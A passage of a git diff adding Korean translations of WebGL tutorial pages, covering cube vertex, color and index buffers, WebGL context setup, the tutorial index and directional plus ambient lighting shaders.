+ 1.0, 1.0, 1.0,
+ -1.0, 1.0, 1.0,
+
+ // 뒤면(Back face)
+ -1.0, -1.0, -1.0,
+ -1.0, 1.0, -1.0,
+ 1.0, 1.0, -1.0,
+ 1.0, -1.0, -1.0,
+
+ // 위면(Top face)
+ -1.0, 1.0, -1.0,
+ -1.0, 1.0, 1.0,
+ 1.0, 1.0, 1.0,
+ 1.0, 1.0, -1.0,
+
+ // 아래면(Bottom face)
+ -1.0, -1.0, -1.0,
+ 1.0, -1.0, -1.0,
+ 1.0, -1.0, 1.0,
+ -1.0, -1.0, 1.0,
+
+ // 오른쪽면(Right face)
+ 1.0, -1.0, -1.0,
+ 1.0, 1.0, -1.0,
+ 1.0, 1.0, 1.0,
+ 1.0, -1.0, 1.0,
+
+ // 왼쪽면(Left face)
+ -1.0, -1.0, -1.0,
+ -1.0, -1.0, 1.0,
+ -1.0, 1.0, 1.0,
+ -1.0, 1.0, -1.0
+];
+</pre>
+
+<h2 id="정점의_색상_정의">정점의 색상 정의</h2>
+
+<p>24개 정점의 색상 배열도 만들어야 합니다. 각 면의 색상을 하나의 배열로 정의하고, 반복문을 돌면서 모든 정점의 색상 정보를 하나의 배열로 만듭니다.</p>
+
+<pre class="brush: js">var colors = [
+ [1.0, 1.0, 1.0, 1.0], // 앞면 : 흰색
+ [1.0, 0.0, 0.0, 1.0], // 뒤면 : 빨간색
+ [0.0, 1.0, 0.0, 1.0], // 위면 : 녹색
+ [0.0, 0.0, 1.0, 1.0], // 아래면 : 파란색
+ [1.0, 1.0, 0.0, 1.0], // 오른쪽면 : 노란색
+ [1.0, 0.0, 1.0, 1.0] // 왼쪽면 : 보라색
+];
+
+var generatedColors = [];
+
+for (j=0; j&lt;6; j++) {
+ var c = colors[j];
+
+ for (var i=0; i&lt;4; i++) {
+ generatedColors = generatedColors.concat(c);
+ }
+}
+
+cubeVerticesColorBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesColorBuffer);
+gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(generatedColors), gl.STATIC_DRAW);
+</pre>
+
+<h2 id="인덱스_배열_정의">인덱스 배열 정의</h2>
+
+<p>정점 배열을 만들었으면 인덱스 배열(원문 : element array)을 만들어야 합니다.</p>
+
+<pre class="brush: js">cubeVerticesIndexBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+
+// 인덱스 배열은 하나의 면을 두 개의 삼각형으로 정의합니다.
+// 인덱스 배열의 원소인 각 숫자는 정점 배열에서 한 정점의 위치를 나타냅니다.
+// 즉, 아래의 인덱스 배열에서의 0, 1, 2, 0, 2, 3은
+// 정점 배열에서 0, 1, 2번째의 정점으로 이루어진 삼각형과
+// 0, 2, 3번째 정점으로 이루어진 삼각형 두 개로
+// 하나의 면을 나타낸다는 의미입니다.
+
+var cubeVertexIndices = [
+ 0, 1, 2, 0, 2, 3, // front
+ 4, 5, 6, 4, 6, 7, // back
+ 8, 9, 10, 8, 10, 11, // top
+ 12, 13, 14, 12, 14, 15, // bottom
+ 16, 17, 18, 16, 18, 19, // right
+ 20, 21, 22, 20, 22, 23 // left
+];
+
+// 인덱스 배열을 GL에 전달
+
+gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,
+ new Uint16Array(cubeVertexIndices), gl.STATIC_DRAW);
+</pre>
+
+<p><code>cubeVertexIndices</code> 배열은 <span style="line-height: 16.7999992370605px;">정육면체 정점 배열의 인덱스값을 원소로 가지며, 각 인덱스 값에 해당하는 정점을 순서대로 세 개씩 묶어서 하나의 삼각형을 구성하고, 삼각형 두 개를 순서대로 묶어서 하나의 면으로 정의합니다. 따라서 6개의 면을 가진 정육면체는 12개의 삼각형의 조합으로 표현할 수 있습니다.</span></p>
+
+<h2 id="정육면체_그리기">정육면체 그리기</h2>
+
+<p>다음 단계로 정육면체의 인덱스 버퍼를 이용해서 정육면체를 그릴 수 있도록 <code>drawScene()</code> 함수 내부에 코드를 추가 합니다. 인덱스 버퍼를 사용하기 위한 <code>bindBuffer()</code>와 정육면체를 그리기 위한 <code>drawElements()</code> 호출문을 추가합니다:</p>
+
+<pre class="brush: js">gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+setMatrixUniforms();
+gl.drawElements(gl.TRIANGLES, 36, gl.UNSIGNED_SHORT, 0);
+</pre>
+
+<p>정육면체의 각 면이 두 개의 삼각형으로 이루어져 있으므로, 한 면에는 6개의 정점이 있으며, 정육면체 전체로는 총 36개의 정점이 존재합니다. 정점 배열에는 24개의 정점이 있었으므로 36개의 정점을 구성하려면 하나의 정점이 여러번 중복되어 사용 되었을 것 입니다. 비효율적이라고 생각될 수도 있지만, 인덱스 배열은 처리가 단순한 정수형 데이터로만 구성되어 있으므로, 36개의 정수형 배열이 하나의 애니메이션 프레임에서 처리하기에 지나치게 많은 수준의 데이터는 아닙니다.</p>
+
+<p>이제 지금까지 만든 정육면체를 확인 해 보겠습니다. WebGL을 지원하는 브라우저에서는 <a href="/samples/webgl/sample5/index.html">여기</a>에서 6개의 면이 원색으로 채색된 정육면체를 볼 수 있습니다.</p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p>
diff --git a/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
new file mode 100644
index 0000000000..95fcd36346
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
@@ -0,0 +1,100 @@
+---
+title: Getting started with WebGL
+slug: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+tags:
+ - Tutorial
+ - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p>
+
+<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a>은 플러그인을 사용하지 않고 <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0 기반 API를 이용하여 브라우저의 HTML <a class="internal" href="/en/HTML/Canvas" title="en/HTML/Canvas"><code>canvas</code></a>에 렌더링하여 3D 웹 콘텐츠 제작을 가능하게 합니다. WebGL 프로그램은 컴퓨터의 그래픽 처리 장치(GPU)에서 실행되는 자바스크립트나 특수 효과(셰이더 코드)코드로 구성됩니다. WebGL 요소들은 다른 HTML 요소들과 혼합될 수 있고 페이지나 페이지 배경의 다른 부분과 합성될 수 있습니다.</p>
+
+<p>이 문서는 기본 WebGL 기본 사항을 소개합니다. 이 문서에서는 3D 그래픽에 관련된 수학적 이해를 이미 이해하고 있다고 간주하고 OpenGL 자체에 대하여 설명하지 않을 것입니다.</p>
+
+<h2 id="3D_렌더링_준비" style="line-height: 30px; font-size: 2.14285714285714rem;">3D 렌더링 준비</h2>
+
+<p>WebGL을 사용하여 3D 렌더링을 하는 데 첫 번째로 필요한 것은 캔버스입니다. <span style="line-height: 1.5;">아래 HTML 코드는 canvas를 만들고 사용할 WebGL 컨텍스트를 초기화하는 onload 이벤트 핸들러를 지정합니다.</span></p>
+
+<pre class="brush: html">&lt;body onload="start()"&gt;
+ &lt;canvas id="glcanvas" width="640" height="480"&gt;
+ Your browser doesn't appear to support the HTML5 &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; element.
+ &lt;/canvas&gt;
+&lt;/body&gt;</pre>
+
+<h3 id="WebGL_컨텍스트_준비" style="line-height: 24px; font-size: 1.71428571428571rem;">WebGL 컨텍스트 준비</h3>
+
+<p>자바스크립트 코드에서 <code>start()</code> 함수는 문서가 다 불러와지면 호출됩니다. 이 함수의 기능은 WebGL 컨텍스트를 설정하고 콘텐츠 렌더링을 시작하는 것입니다.</p>
+
+<pre class="brush: js">var gl; // A global variable for the WebGL context
+
+function start() {
+ var canvas = document.getElementById("glcanvas");
+
+ gl = initWebGL(canvas); // Initialize the GL context
+
+ // Only continue if WebGL is available and working
+
+ if (gl) {
+ gl.clearColor(0.0, 0.0, 0.0, 1.0); // Set clear color to black, fully opaque
+ gl.enable(gl.DEPTH_TEST); // Enable depth testing
+ gl.depthFunc(gl.LEQUAL); // Near things obscure far things
+ gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT); // Clear the color as well as the depth buffer.
+  }
+} </pre>
+
+<p><span style="line-height: 1.5;">첫 번째 할 일은 canvas에 대한 참조를 얻는 것 입니다. canvas라는 변수에 지정합니다.</span> 당연히 canvas를 반복적으로 참조할 필요는 없고 전역 변수로 저장하는 것은 피해야 합니다. 지역 변수나 객체의 필드 멤버로 참조해야 됩니다.</p>
+
+<p>캔버스가 있으면 <code>initWebGL()</code>이라는 함수를 호출할 수 있습니다. 이 함수는 일시적으로 정의되고 WebGL 컨텍스트를 초기화하는 일을 합니다.</p>
+
+<p><span style="line-height: 1.5;">만약 컨텍스트가 성공적으로 초기화 되면 gl은 이를 참조합니다. </span><span style="line-height: 1.5;">이번 예제에서는 검은색 투명 색상을 설정하면 컨텍스트를 그 색상으로 지정합니다. </span>그 다음 컨텍스트는 설정 매개변수로 설정됩니다. 예제에서는 깊이 테스트가 가능하고 가까운 물체가 멀리 떨어저 있는 물체를 가리는 것을 지정합니다.</p>
+
+<p>코드에서 초기화를 전달하는 목적은 우리가 하려는 것 전부 입니다. 잠시 후 실제로 무언가를 어떻게 시작하는가 알아볼 것입니다.</p>
+
+<h3 id="WebGL_컨텍스트_생성">WebGL 컨텍스트 생성</h3>
+
+<p><code>initWebGL()</code> 함수는 다음과 같습니다.</p>
+
+<pre class="brush: js">function initWebGL(canvas) {
+ gl = null;
+
+ try {
+    // Try to grab the standard context. If it fails, fallback to experimental.
+    gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
+  }
+  catch(e) {}
+
+ // If we don't have a GL context, give up now
+ if (!gl) {
+ alert("Unable to initialize WebGL. Your browser may not support it.");
+ gl = null;
+ }
+
+ return gl;
+}
+</pre>
+
+<p>캔버스에서 WebGL 컨텍스트를 얻기 위해 canvas로 "webgl"이라고 불리는 컨텍스트를 요청할 것입니다. 만약에 실패한다면 "experimental-webgl"이라는 이름으로 시도할 것입니다. 만약 이마저도 실패한다면 사용자에게 사용 중인 브라우저가 WebGL을 지원하지 않는다는 경고를 출력할 것입니다. <span style="line-height: 1.5;">이게 전부입니다. 이 시점에서 gl은 null(WebGL 컨텍스트를 이용할 수 없다는 의미)이거나 렌더링할 WebGL 컨텍스트를 참조할 것입니다.</span></p>
+
+<div class="note"><strong>Note:</strong> experimental-webgl이라는 이름은 사양 개발 시 사용되는 컨텍스트를 위한 일시적인 이름입니다. webgl은 사양이 확정되면 사용됩니다.</div>
+
+<p>이 시점에서 이 코드는 WebGL 컨텍스트가 성공적으로 초기화하는 데 충분한 코드입니다. 이 코드를 통해 검정 박스 형태의 빈 공간이 형성되며, 여기에<span style="line-height: 1.5;"> 콘텐츠를 생성할 기본 준비가 되었습니다.</span></p>
+
+<p><a href="/samples/webgl/sample1/index.html" title="https://developer.mozilla.org/samples/webgl/sample1/index.html">여기를 클릭하여 예제를 확인하세요</a>. 브라우저가 WebGL을 호환한다면 실행될 것 입니다.</p>
+
+<h3 id="WebGL_컨텍스트_크기_조정">WebGL 컨텍스트 크기 조정</h3>
+
+<p>이제 새로운 WebGL 컨텍스트는 새로운 컨텍스트 인스턴스를 얻었습니다. 그리고 CSS 없이 캔버스 요소의 height와 width로 뷰포트의 해상도를 설정합니다. 캔버스 요소의 스타일 편집하면 출력되는 크기를 변경될 것이지만 렌더링 해상도는 변경되지 않습니다. 또한 컨텍스트가 생성된 후 캔버스 요소의 width와 height 속성을 편집하면 그려지는 픽셀 수를 변경할 수 없습니다. <span style="line-height: 1.5;">WebGL 렌더의 해상도를 변경하려면 사용자가 캔버스 문서 전체 창 크기를 조정하거나 앱에서 그래픽 설정을 조정할 수 있게 하길 원할 것입니다. WebGL 컨텍스트 viewport() 함수가 변경할 수있는 것으로 알려져 있습니다.</span></p>
+
+<p>렌더링된 WebGL 컨텍스트의 해상도를 수정하려면 위에 나오는 gl과 canvas 변수를 사용해야 됩니다.</p>
+
+<pre class="brush: js">gl.viewport(0, 0, canvas.width, canvas.height);</pre>
+
+<p>캔버스는 CSS 스타일과 다른 해상도로 렌더링되어질 때 화면에서 차지하는 크기를 볼 것입니다. CSS로 크기를 조정하면 낮은 해상도에서 렌더링하거나 브라우저 화면을 확대할 때 자원을 절약하는 데 유용합니다. 축소는 슈퍼샘플 안티에일리어싱(SSAA) 효과를 사용할 때 가능합니다. (많은 성능 비용이 발생하고 작은 결과이기는 하지만) <span style="line-height: 1.5;">아래에 참고 사항을 살펴보는 것이 가장 좋습니다.</span></p>
+
+<ul>
+ <li><a href="http://dev.opera.com/articles/view/an-introduction-to-webgl/">WebGL에 대한 소개</a> - DEV.OPERA에 있는 Luz Caballero가 작성한 문서입니다. 이 문서는 WebGL이 무엇인지, 어떻게 작동되는지, 렌더링 파이프라인 개념에 대하여 설명하고 몇 가지 WebGL 라이브러리에 대하여 소개합니다.</li>
+ <li><a href="http://duriansoftware.com/joe/An-intro-to-modern-OpenGL.-Table-of-Contents.html">현대 OpenGL에 대한 소개</a> - Joe Groff가 작성한 OpenGL에 대한 좋은 문서 시리즈입니다. 조는 명확하게 역사를 가지고 OpenGL의 중요한 그래픽 파이프라인 개념에 대해 소개하고 몇 가지 데모를 통해 OpenGL이 어떻게 작동되는지 설명하기 위해 예제들을 제공합니다. 만약 OpenGL에 대한 개념이 안 잡혀 있다면 시작하기 좋은 장소가 될 것입니다.</li>
+</ul>
+
+<p>{{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p>
diff --git a/files/ko/web/api/webgl_api/tutorial/index.html b/files/ko/web/api/webgl_api/tutorial/index.html
new file mode 100644
index 0000000000..0e6230b0ea
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/index.html
@@ -0,0 +1,40 @@
+---
+title: WebGL tutorial
+slug: Web/API/WebGL_API/Tutorial
+tags:
+ - Tutorial
+ - WebGL
+translation_of: Web/API/WebGL_API/Tutorial
+---
+<div>{{WebGLSidebar}}</div>
+
+<div class="summary">
+<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> 은 WebGL을 지원하는 브라우져에서 plugin을 사용하지 않고도, 웹 콘텐츠가 <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0 기반의 API를 이용하여 HTML {{HTMLElement("canvas")}}에서 3D 랜더링을 할 수 있도록 해 줍니다. WebGL 프로그램은 JavaScripts로 작성 된 제어 코드와 컴퓨터의 Graphics Processing Unit (GPU)에서 실행되는 특수한 효과를 내는 코드(Shader code)로 구성 됩니다. WebGL 요소들은 다른 HTML요소들과 섞어서 함께 사용 할 수 있으며 페이지의 다른 부분이나 페이지 배경과 함께 사용 할 수 있습니다.</p>
+</div>
+
+<p><span class="seoSummary">이 튜토리얼은 WebGL 그래픽을 그리기 위해 &lt;canvas&gt;요소를 어떻게 사용하는지에 관해 기본부터 기술합니다. 제공된 예제들은 여러분이 WebGL로 무엇을 할 수 있는지를 명확히하고, 여러분 소유의 콘텐츠를 제작할 수 있도록 작은 코드들을 제공 할 것입니다.</span></p>
+
+<h2 id="시작하기_전에">시작하기 전에</h2>
+
+<p><code>&lt;canvas&gt;</code> 요소를 사용하는 것은 크게 어렵진 않지만, 여러분은 <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> 과 <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>에 대하여 기본적인 이해가 꼭 필요합니다. <code>&lt;canvas&gt;</code> 요소와 WebGL은 일부 오래된 브라우저에서 지원되지 않으나, 최근 버전의 모든 주요 브라우저에서 지원됩니다. 우리는 canvas에 그림을 그리기 위해 그림을 신속하게 생성하는 JavaScript 콘텍스트 객체를 사용합니다.</p>
+
+<h2 id="In_this_tutorial">In this tutorial</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL">Getting started with WebGL</a></dt>
+ <dd>How to set up a WebGL context.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context">Adding 2D content to a WebGL context</a></dt>
+ <dd>How to render simple flat shapes using WebGL.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL">Using shaders to apply color in WebGL</a></dt>
+ <dd>Demonstrates how to add color to shapes using shaders.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL">Animating objects with WebGL</a></dt>
+ <dd>Shows how to rotate and translate objects to create simple animations.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL">Creating 3D objects using WebGL</a></dt>
+ <dd>Shows how to create and animate a 3D object (in this case, a cube).</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">Using textures in WebGL</a></dt>
+ <dd>Demonstrates how to map textures onto the faces of an object.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL">Lighting in WebGL</a></dt>
+ <dd>How to simulate lighting effects in your WebGL context.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL">Animating textures in WebGL</a></dt>
+ <dd>Shows how to animate textures; in this case, by mapping an Ogg video onto the faces of a rotating cube.</dd>
+</dl>
diff --git a/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.html
new file mode 100644
index 0000000000..37eb1ee7fa
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.html
@@ -0,0 +1,177 @@
+---
+title: WebGL에서 조명 효과 적용하기
+slug: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
+tags:
+ - WebGL
+ - 방향광
+ - 빛
+ - 웹지엘
+ - 점광
+ - 조명
+ - 주변광
+translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}</p>
+
+<p>WebGL은 OpenGL 표준과는 다르게 자체적인 조명 효과를 제공하지 않습니다. 따라서 WebGL에서의 조명 효과는 개발자 스스로 만들어야 합니다. 다행스럽게도 조명 효과를 만드는 것이 아주 어려운 일은 아니며, 이 글을 통해 몇 가지 기초적인 부분을 이해할 수 있을 것입니다.</p>
+
+<h2 id="3D에서의_조명_시뮬레이션과_명암_효과">3D에서의 조명 시뮬레이션과 명암 효과</h2>
+
+<p>3D 그래픽의 조명 시뮬레이션에 대한 이론적 바탕에 대해 상세하게 알아보는 것은 이 글의 범위를 많이 벗어난다고 할 수 있지만, 그 동작 원리에 대해서는 조금이나마 알아볼 필요가 있습니다. 먼저 가장 널리 사용되는 조명 모델인 <a href="http://en.wikipedia.org/wiki/Phong_shading">퐁 셰이딩(Phong shading)에 대한 위키피디아 자료</a>를 한 번 읽어보시기 바랍니다.</p>
+
+<p>조명에는 세 가지 기본 타입이 있습니다:</p>
+
+<p><strong>주변광(Ambient light)</strong>은 장면(scene) 전반에 걸쳐 스며드는 빛으로, 방향성이 없으며 장면 내에 있는 모든 표면을 그 표면의 방향과 관계없이 동일한 밝기로 비춰줍니다.</p>
+
+<p><strong>방향광(Directional light)</strong>은 특정한 방향으로만 비춰지는 빛입니다. 방향광은 아주 먼 곳에서 비춰지기 때문에 모든 빛 입자(photon, 광자)가 서로 평행한 방향으로 움직입니다. 방향광의 대표적인 예는 바로 태양광입니다.</p>
+
+<p><strong>점광(Point light)</strong>은 한 지점에서 모든 방향으로 퍼지면서 발산하는 빛입니다. 실생활에서 접할 수 있는 대부분의 빛이 이 점광에 해당합니다. 전구에서 나오는 빛이 점광의 대표적인 예라고 할 수 있겠습니다.</p>
+
+<p>이 글에서는 <a href="http://en.wikipedia.org/wiki/Specular_highlight">반사광 하이라이트(specular highlight)</a>나 점광원에 대해서는 다루지 않고, 단순한 방향광 조명과 주변광 조명만 알아 보겠습니다. 주변광에 방향광원(directional light source)을 더한 조명 효과를 <span style="line-height: 16.7999992370605px;"><a href="/en/WebGL/Using_textures_in_WebGL">앞 단원의 예제</a>에 있던 회전하는 정육면체에 적용해보겠습니다.</span></p>
+
+<p>점광원이나 반사광을 고려하지 않는다면, 방향광 조명을 구현하기 위한 정보는 크게 두 가지가 있습니다:​</p>
+
+<ol>
+ <li>각 정점의 표면에 수직인 벡터를 의미하는 <strong>표면 법선 벡터(surface normal vector)</strong>.</li>
+ <li>빛이 쪼여지는 방향을 나타내는 <strong>방향 벡터</strong>.</li>
+</ol>
+
+<p>위 두 가지 정보를 구하고나면, 방향광의 방향과 정육면체의 표면이 만나는 각도에 따라 달라지는 방향광 조명 효과와 모든 표면에 균일하게 적용되는 <span style="line-height: 16.7999992370605px;">주변광 조명 효과</span>를 반영해서 각 정점의 색상을 조정할 수 있도록 정점 셰이더를 수정해야 합니다. 셰이더 코드를 어떻게 수정하는지는 조금 이따가 살펴보기로 하고, 먼저 정점의 법선 벡터를 만드는 방법부터 알아보겠습니다.</p>
+
+<h2 id="정점_별_법선_구성">정점 별 법선 구성</h2>
+
+<p>조명 효과 적용을 위해 첫번째로 해야할 일은 정육면체를 이루는 모든 정점의 법선 배열을 구성하는 것입니다. 정육면체는 아주 단순한 객체이므로 정육면체의 법선 배열 역시 쉽게 만들 수 있습니다. 하지만 복잡하게 생긴 객체의 법선을 계산하는 것은 상당히 어렵습니다.</p>
+
+<pre class="brush: js">cubeVerticesNormalBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
+
+var vertexNormals = [
+ // 앞
+ 0.0, 0.0, 1.0,
+ 0.0, 0.0, 1.0,
+ 0.0, 0.0, 1.0,
+ 0.0, 0.0, 1.0,
+
+ // 뒤
+ 0.0, 0.0, -1.0,
+ 0.0, 0.0, -1.0,
+ 0.0, 0.0, -1.0,
+ 0.0, 0.0, -1.0,
+
+ // 위
+ 0.0, 1.0, 0.0,
+ 0.0, 1.0, 0.0,
+ 0.0, 1.0, 0.0,
+ 0.0, 1.0, 0.0,
+
+ // 아래
+ 0.0, -1.0, 0.0,
+ 0.0, -1.0, 0.0,
+ 0.0, -1.0, 0.0,
+ 0.0, -1.0, 0.0,
+
+ // 오른쪽
+ 1.0, 0.0, 0.0,
+ 1.0, 0.0, 0.0,
+ 1.0, 0.0, 0.0,
+ 1.0, 0.0, 0.0,
+
+ // 왼쪽
+ -1.0, 0.0, 0.0,
+ -1.0, 0.0, 0.0,
+ -1.0, 0.0, 0.0,
+ -1.0, 0.0, 0.0
+];
+
+gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(vertexNormals), gl.STATIC_DRAW);
+</pre>
+
+<p>이런 배열의 처리는 앞 단원에서 여러 번 다뤄왔으므로 이젠 꽤 친숙해 보일 것입니다. 새로운 버퍼를 생성하고, 버퍼와 법선 배열을 바인딩하고, <code>bufferData()</code>를 호출해서 법선 배열을 버퍼에 전달합니다.</p>
+
+<p>그 다음에 법선 배열과 셰이더 attribute 변수에 바인딩해서 셰이더가 법선 배열 정보에 접근할 수 있도록 해주는 코드를 <span style="line-height: 16.7999992370605px;"><code>drawScene()</code>에 </span>추가합니다:</p>
+
+<pre class="brush: js">gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
+gl.vertexAttribPointer(vertexNormalAttribute, 3, gl.FLOAT, false, 0, 0);
+</pre>
+
+<p>마지막으로 uniform 행렬을 구성하는 <code>setMatrixUniforms()</code>에 <strong>법선 행렬</strong>을 만들고 셰이더에게 전달하는 코드를 추가합니다. 법선 행렬은 광원을 기준으로 정육면체의 상대적인 방향에 따라 법선을 변환하는 데 사용됩니다:</p>
+
+<pre class="brush: js">var normalMatrix = mvMatrix.inverse();
+normalMatrix = normalMatrix.transpose();
+var nUniform = gl.getUniformLocation(shaderProgram, "uNormalMatrix");
+gl.uniformMatrix4fv(nUniform, false, new WebGLFloatArray(normalMatrix.flatten()));
+</pre>
+
+<h2 id="셰이더_수정">셰이더 수정</h2>
+
+<p>조명 효과 구현을 위해 셰이더가 필요로 하는 데이터가 모두 준비되었으므로, 이제 셰이더 코드를 수정해보겠습니다.</p>
+
+<h3 id="정점_셰이더">정점 셰이더</h3>
+
+<p>제일 먼저 방향광 조명과 주변광 조명에 의한 각 정점의 명암 값을 계산해야 합니다. 일단 소스 코드부터 보겠습니다:</p>
+
+<pre class="brush: html">&lt;script id="shader-vs" type="x-shader/x-vertex"&gt;
+ attribute highp vec3 aVertexNormal;
+ attribute highp vec3 aVertexPosition;
+ attribute highp vec2 aTextureCoord;
+
+ uniform highp mat4 uNormalMatrix;
+ uniform highp mat4 uMVMatrix;
+ uniform highp mat4 uPMatrix;
+
+ varying highp vec2 vTextureCoord;
+ varying highp vec3 vLighting;
+
+ void main(void) {
+ gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+ vTextureCoord = aTextureCoord;
+
+ // 조명 효과 적용
+
+ highp vec3 ambientLight = vec3(0.6, 0.6, 0.6);
+ highp vec3 directionalLightColor = vec3(0.5, 0.5, 0.75);
+ highp vec3 directionalVector = vec3(0.85, 0.8, 0.75);
+
+ highp vec4 transformedNormal = uNormalMatrix * vec4(aVertexNormal, 1.0);
+
+ highp float directional = max(dot(transformedNormal.xyz, directionalVector), 0.0);
+ vLighting = ambientLight + (directionalLightColor * directional);
+ }
+&lt;/script&gt;
+</pre>
+
+<p>정점의 위치 계산이 끝나고, 정점의 텍셀(texel) 좌표값을 얻고나면, 그 값을 기준으로 정점의 명암을 계산할 수 있습니다.</p>
+
+<p>정점의 명암을 계산하려면 먼저 정육면체의 현재 위치와 방향을 기준으로 법선을 변환해야 합니다. 정점의 법선에 법선 행렬을 곱하면 <span style="line-height: 16.7999992370605px;">법선이 변환</span>됩니다. 그 다음에 변환된 법선과 방향 벡터(광원으로부터 빛이 비춰지는 방향)를 내적(dot product)하면 정점에 비춰지는 방향광의 양을 계산할 수 있습니다. 빛의 양이 음수일 수는 없으므로, 계산된 방향광의 양이 음수일 때는 방향광의 양을 0으로 설정해줍니다.</p>
+
+<p>방향광의 양을 계산하고 나면, 방향광의 색상과 방향광의 양을 곱한 값에 주변광의 값을 더해서 정점에 비춰지는 최종 빛의 양을 구할 수 있습니다. 결과적으로 <span style="line-height: 16.7999992370605px;">RGB값이 나오는데, 이 RGB값은 </span>프래그먼트 셰이더가 우리가 그릴 모든 픽셀에 대한 색상값을 계산하는데 사용됩니다.</p>
+
+<h3 id="프래그먼트_셰이더">프래그먼트 셰이더</h3>
+
+<p>이제 정점 셰이더에서 계산한 빛의 양을 반영해서 조명 효과를 표현할 수 있도록 <span style="line-height: 16.7999992370605px;">프래그먼트 셰이더를 </span>수정해야 합니다:</p>
+
+<pre class="brush: js">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+ varying highp vec2 vTextureCoord;
+ varying highp vec3 vLighting;
+
+ uniform sampler2D uSampler;
+
+ void main(void) {
+ mediump vec4 texelColor = texture2D(uSampler, vec2(vTextureCoord.s, vTextureCoord.t));
+
+ gl_FragColor = vec4(texelColor.rgb * vLighting, texelColor.a);
+ }
+&lt;/script&gt;
+</pre>
+
+<p>앞 단원의 예제에서 했던 것처럼 텍셀의 색상값을 계산합니다. 하지만 <span style="line-height: 16.7999992370605px;">이번에는 </span>텍셀의 색상값을 바로 프래그먼트의 색상값으로 설정하지 않고,  조명 효과를 표현할 수 있도록 텍셀의 색상값에 빛의 양을 곱한 값을 프래그먼트의 색상값으로 설정합니다.</p>
+
+<p>자 이제 다 완성했습니다! WebGL을 지원하는 브라우저라면 <a href="/samples/webgl/sample7/index.html">여기</a>에서 실제 동작하는 예제를 확인할 수 있습니다.</p>
+
+<h2 id="연습해보기">연습해보기</h2>
+
+<p>알다시피 이번 예제는 정점 단위의 기본적인 조명 효과를 구현한 단순한 예제입니다. 더 수준 높은 컴퓨터 그래픽을 만들려면 정점 단위가 아니라 픽셀 단위의 조명 효과가 필요할 것입니다. 하지만 정점 단위의 조명 효과를 다룬 이 글이 고급 그래픽을 만드는데 도움이 될 것입니다.</p>
+
+<p>빛의 방향이나 광원의 색상 등을 다른 값으로 바꿔보는 등 다양하게 실험해보는 것도 조명 효과를 이해하는데 도움이 될 것입니다.</p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}</p>
diff --git a/files/ko/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
new file mode 100644
index 0000000000..edfb74401a
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
@@ -0,0 +1,98 @@
+---
+title: WebGL에서 셰이더를 사용하여 색상 적용하기
+slug: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+tags:
+ - 색상
